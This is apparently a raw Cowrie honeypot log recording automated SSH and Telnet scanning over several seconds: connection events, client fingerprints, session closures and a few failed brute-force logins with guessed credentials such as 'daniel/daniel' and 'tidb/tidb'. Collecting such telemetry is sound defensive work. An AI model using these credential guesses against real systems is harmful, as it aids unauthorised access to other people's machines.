{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":46987,"dst_ip":"10.17.0.5","dst_port":22,"session":"426a43563f6e","protocol":"ssh","message":"New connection: 74.87.117.149:46987 (10.17.0.5:22) [session: 426a43563f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:54.818004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:54.823438Z","src_ip":"74.87.117.149","session":"426a43563f6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:54.849028Z","src_ip":"74.87.117.149","session":"426a43563f6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"dev12","message":"login attempt [ubuntu/dev12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:54.980826Z","src_ip":"74.87.117.149","session":"426a43563f6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":51222,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b30802b81a5","protocol":"telnet","message":"New connection: 159.223.86.167:51222 (159.203.135.109:23) [session: 1b30802b81a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:55.244168Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:55.321507Z","src_ip":"176.65.139.103","session":"fe4296cca8f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":52636,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b2ac6e7046a","protocol":"telnet","message":"New connection: 159.223.86.167:52636 (159.203.135.109:23) [session: 2b2ac6e7046a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:55.705202Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:56.008232Z","src_ip":"74.87.117.149","session":"426a43563f6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34308,"dst_ip":"10.17.0.5","dst_port":23,"session":"023d1a47ccc5","protocol":"telnet","message":"New connection: 213.136.75.179:34308 (10.17.0.5:23) [session: 023d1a47ccc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:56.575214Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34314,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2097bc725b2","protocol":"telnet","message":"New connection: 213.136.75.179:34314 (10.17.0.5:23) [session: d2097bc725b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:57.019471Z"}
{"eventid":"cowrie.session.closed","duration":32.03904318809509,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:57.111876Z","src_ip":"159.223.86.167","session":"0692ca902543","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34316,"dst_ip":"10.17.0.5","dst_port":23,"session":"592e5966501e","protocol":"telnet","message":"New connection: 213.136.75.179:34316 (10.17.0.5:23) [session: 592e5966501e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:57.257208Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":34326,"dst_ip":"10.17.0.5","dst_port":23,"session":"d200166677fb","protocol":"telnet","message":"New connection: 213.136.75.179:34326 (10.17.0.5:23) [session: d200166677fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:57.457090Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":35856,"dst_ip":"159.203.135.109","dst_port":23,"session":"49db0107830a","protocol":"telnet","message":"New connection: 159.223.86.167:35856 (159.203.135.109:23) [session: 49db0107830a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:58.405472Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":36502,"dst_ip":"10.17.0.5","dst_port":23,"session":"f552e4a8fdbf","protocol":"telnet","message":"New connection: 213.136.75.179:36502 (10.17.0.5:23) [session: f552e4a8fdbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:58.518047Z"}
{"eventid":"cowrie.session.closed","duration":30.755895614624023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:59.192362Z","src_ip":"159.223.86.167","session":"6ecfd8fbd87e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.235111236572266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:59.312140Z","src_ip":"159.223.86.167","session":"3f57f3e362ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.05815291404724,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:59.417582Z","src_ip":"213.136.75.179","session":"1eccc4799877","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":41736,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0b9d7b8932d","protocol":"telnet","message":"New connection: 159.223.86.167:41736 (159.203.135.109:23) [session: d0b9d7b8932d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:59.825069Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":41762,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a8e804866f2","protocol":"telnet","message":"New connection: 159.223.86.167:41762 (159.203.135.109:23) [session: 6a8e804866f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:59.839736Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59632,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a6b503734b2","protocol":"ssh","message":"New connection: 176.65.139.103:59632 (10.17.0.5:22) [session: 7a6b503734b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:59.969329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:59.973308Z","src_ip":"176.65.139.103","session":"7a6b503734b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:00.054953Z","src_ip":"176.65.139.103","session":"7a6b503734b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel","message":"login attempt [daniel/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:00.307787Z","src_ip":"176.65.139.103","session":"7a6b503734b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"56.4","message":"Connection lost after 56.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:00.707156Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.027620792388916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:00.851761Z","src_ip":"213.136.75.179","session":"3a87d140da13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.90499567985535,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:00.916045Z","src_ip":"213.136.75.179","session":"4133149fd6dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":46640,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa441b649955","protocol":"telnet","message":"New connection: 159.223.86.167:46640 (159.203.135.109:23) [session: fa441b649955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:01.048021Z"}
{"eventid":"cowrie.session.closed","duration":32.802157163619995,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:01.061847Z","src_ip":"213.136.75.179","session":"51b5ae62de12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":47224,"dst_ip":"159.203.135.109","dst_port":23,"session":"91ecfce6f11d","protocol":"telnet","message":"New connection: 159.223.86.167:47224 (159.203.135.109:23) [session: 91ecfce6f11d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:01.234199Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:01.406185Z","src_ip":"176.65.139.103","session":"7a6b503734b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.283714056015015,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:02.182276Z","src_ip":"213.136.75.179","session":"d592fbae240e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.503608226776123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:02.301712Z","src_ip":"159.223.86.167","session":"ee206be6a395","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.04254102706909,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:02.534533Z","src_ip":"213.136.75.179","session":"b163e70a8185","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":48540,"dst_ip":"159.203.135.109","dst_port":23,"session":"95a7ea73ac07","protocol":"telnet","message":"New connection: 159.223.86.167:48540 (159.203.135.109:23) [session: 95a7ea73ac07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:02.677289Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":36508,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3cab7632f8b","protocol":"telnet","message":"New connection: 213.136.75.179:36508 (10.17.0.5:23) [session: a3cab7632f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:02.863841Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":53882,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b22f8eee242","protocol":"telnet","message":"New connection: 159.223.86.167:53882 (159.203.135.109:23) [session: 8b22f8eee242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:03.062459Z"}
{"eventid":"cowrie.session.closed","duration":30.5078387260437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:03.142350Z","src_ip":"159.223.86.167","session":"d7726207a545","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.840439558029175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:03.158393Z","src_ip":"159.223.86.167","session":"cdb57e2dae8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61758327484131,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:03.292701Z","src_ip":"159.223.86.167","session":"e17e020b8225","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.48062515258789,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:03.423045Z","src_ip":"159.223.86.167","session":"164788975ecd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14515709877014,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:03.850682Z","src_ip":"159.223.86.167","session":"53f86494650b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.85720467567444,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:03.897034Z","src_ip":"213.136.75.179","session":"f6aec301fc16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.223206758499146,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:04.179148Z","src_ip":"213.136.75.179","session":"ce40c8ab0d2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":59842,"dst_ip":"159.203.135.109","dst_port":23,"session":"20492bb68279","protocol":"telnet","message":"New connection: 159.223.86.167:59842 (159.203.135.109:23) [session: 20492bb68279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:05.527759Z"}
{"eventid":"cowrie.session.closed","duration":32.385573863983154,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:05.632420Z","src_ip":"213.136.75.179","session":"d9aebb7efe28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":32860,"dst_ip":"10.17.0.5","dst_port":22,"session":"aadac425892e","protocol":"ssh","message":"New connection: 176.65.139.103:32860 (10.17.0.5:22) [session: aadac425892e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:05.923773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:05.931856Z","src_ip":"176.65.139.103","session":"aadac425892e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:06.014986Z","src_ip":"176.65.139.103","session":"aadac425892e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":38124,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3b5d687d20f","protocol":"telnet","message":"New connection: 159.223.86.167:38124 (159.203.135.109:23) [session: e3b5d687d20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:06.122846Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":38348,"dst_ip":"159.203.135.109","dst_port":23,"session":"9472551a03ac","protocol":"telnet","message":"New connection: 159.223.86.167:38348 (159.203.135.109:23) [session: 9472551a03ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:06.174762Z"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb","message":"login attempt [tidb/tidb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:06.355161Z","src_ip":"176.65.139.103","session":"aadac425892e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":36516,"dst_ip":"10.17.0.5","dst_port":23,"session":"4442b78d87ff","protocol":"telnet","message":"New connection: 213.136.75.179:36516 (10.17.0.5:23) [session: 4442b78d87ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:06.822599Z"}
{"eventid":"cowrie.session.closed","duration":31.83954429626465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:06.917835Z","src_ip":"159.223.86.167","session":"487d4f71f2d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":41254,"dst_ip":"159.203.135.109","dst_port":23,"session":"4899c2dacc22","protocol":"telnet","message":"New connection: 159.223.86.167:41254 (159.203.135.109:23) [session: 4899c2dacc22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:06.931234Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":43120,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f9c746eb957","protocol":"telnet","message":"New connection: 159.223.86.167:43120 (159.203.135.109:23) [session: 1f9c746eb957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:07.357639Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:07.452564Z","src_ip":"176.65.139.103","session":"aadac425892e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.549503087997437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:07.487180Z","src_ip":"159.223.86.167","session":"0e4106c67017","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.46672224998474,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:07.672293Z","src_ip":"213.136.75.179","session":"c14c7071c1b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":37138,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfa79ec37021","protocol":"telnet","message":"New connection: 213.136.75.179:37138 (10.17.0.5:23) [session: cfa79ec37021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:07.958869Z"}
{"eventid":"cowrie.session.closed","duration":30.668724536895752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:08.358456Z","src_ip":"159.223.86.167","session":"49936abd7333","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.958829402923584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:08.383886Z","src_ip":"159.223.86.167","session":"c3cb8ec1411e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":50086,"dst_ip":"159.203.135.109","dst_port":23,"session":"836823d3157f","protocol":"telnet","message":"New connection: 159.223.86.167:50086 (159.203.135.109:23) [session: 836823d3157f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:09.085447Z"}
{"eventid":"cowrie.session.closed","duration":31.40172243118286,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:09.349848Z","src_ip":"159.223.86.167","session":"b2df4bc283c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":51748,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c48eebce0fa","protocol":"telnet","message":"New connection: 159.223.86.167:51748 (159.203.135.109:23) [session: 6c48eebce0fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:09.552720Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":52580,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e593327857c","protocol":"telnet","message":"New connection: 159.223.86.167:52580 (159.203.135.109:23) [session: 5e593327857c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:09.758905Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":53194,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ac4be77acdd","protocol":"telnet","message":"New connection: 159.223.86.167:53194 (159.203.135.109:23) [session: 3ac4be77acdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:09.889601Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":53664,"dst_ip":"159.203.135.109","dst_port":23,"session":"875646e447cd","protocol":"telnet","message":"New connection: 159.223.86.167:53664 (159.203.135.109:23) [session: 875646e447cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:39:10.005843Z"}
